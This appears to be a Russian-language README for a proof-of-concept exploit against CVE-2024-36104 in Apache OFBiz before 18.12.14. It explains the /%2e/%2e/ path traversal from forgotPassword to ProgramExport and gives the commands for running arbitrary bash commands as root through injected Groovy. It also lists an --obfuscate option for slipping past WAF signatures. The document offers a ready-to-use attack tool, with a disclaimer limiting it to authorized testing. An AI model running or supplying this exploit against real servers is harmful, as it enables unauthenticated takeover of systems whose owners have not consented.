
PoC для CVE-2024-36104 — неавторизованное удалённое выполнение кода Groovy в Apache OFBiz (<18.12.14) через обход пути представления /%2e/%2e/ к ProgramExport
Подтверждение концепции для CVE-2024-36104 — уязвимости удаленного выполнения кода без аутентификации в Apache OFBiz до версии 18.12.14.
ControlServlet в OFBiz обрабатывает неаутентифицированное представление (forgotPassword) до канонизации пути запроса. Добавление /%2e/%2e/ сворачивает путь обратно к /webtools/control/, поэтому запрос достигает представления ProgramExport, минуя проверку безопасности/прав доступа, связанную с исходным представлением. Затем ProgramExport выполняет произвольный Groovy-код, что обеспечивает удаленное выполнение команд без аутентификации.
Скрипт оборачивает команду в Groovy-фрагмент, который запускает её через /usr/bin/bash -lc, отправляет на уязвимую конечную точку и извлекает вывод из исключения java.lang.Exception, которое OFBiz возвращает в HTML-ответе.
/%2e/%2e/ от forgotPassword к ProgramExport.groovyProgram на уязвимую конечную точку.Python 3.8+
pip install -r requirements.txt
Требуемые пакеты Python:
requests
urllib3
Значения в угловых скобках — это заполнители. Замените их своими значениями и не включайте символы < или >.
python3 cve_2024_36104.py \
--target <TARGET_URL> \
--command <COMMAND>
<TARGET_URL> # Базовый URL цели. Пример: https://10.129.231.23
<COMMAND> # Команда, которую интерпретирует Bash. Пример: id
python3 cve_2024_36104.py \
--target https://10.129.231.23 \
--command "id"
Пример вывода:
[2026-05-17T18:20:10Z] [*] Target: https://10.129.231.23/webtools/control/forgotPassword/%2e/%2e/ProgramExport
[2026-05-17T18:20:10Z] [*] Host header sent: localhost
[2026-05-17T18:20:10Z] [*] Command: id
[2026-05-17T18:20:11Z] [*] HTTP status: 200
[2026-05-17T18:20:11Z] [*] Response size: 4213 bytes
[+] Output of: id
uid=0(root) gid=0(root) groups=0(root)
-H, --host-header <HOST>
Значение заголовка Host. По умолчанию: localhost
--prefix-view <VIEW>
Неаутентифицированное представление, используемое перед обходом /%2e/%2e/. По умолчанию: forgotPassword
--target-view <VIEW>
Представление, достигаемое после обхода. По умолчанию: ProgramExport
--endpoint <PATH>
Полный путь пользовательской конечной точки; переопределяет --prefix-view/--target-view.
--timeout <SECONDS>
Максимальное время HTTP-запроса. По умолчанию: 15
--obfuscate
Отправлять groovyProgram в виде \uXXXX-экранирований вместо открытого текста,
как в публичных описаниях, чтобы обходить простые сигнатуры WAF.
--show-payload
Вывести сгенерированный Groovy-код перед отправкой.
--show-response
Вывести полный HTML-ответ.
--only-final
Скрыть журнал выполнения и вывести только результат команды.
--no-color
Отключить ANSI-цвета.
--debug
Включить дополнительную диагностическую регистрацию.
502, вероятно, бэкенд не завершил работу до таймаута прокси; команда всё равно может выполниться на стороне сервера.--show-response для просмотра исходного HTML, если автоматическое извлечение не сработало.Этот PoC предназначен для авторизованного тестирования безопасности, лабораторных сред и проверки уязвимостей. Не используйте его против систем без явного разрешения.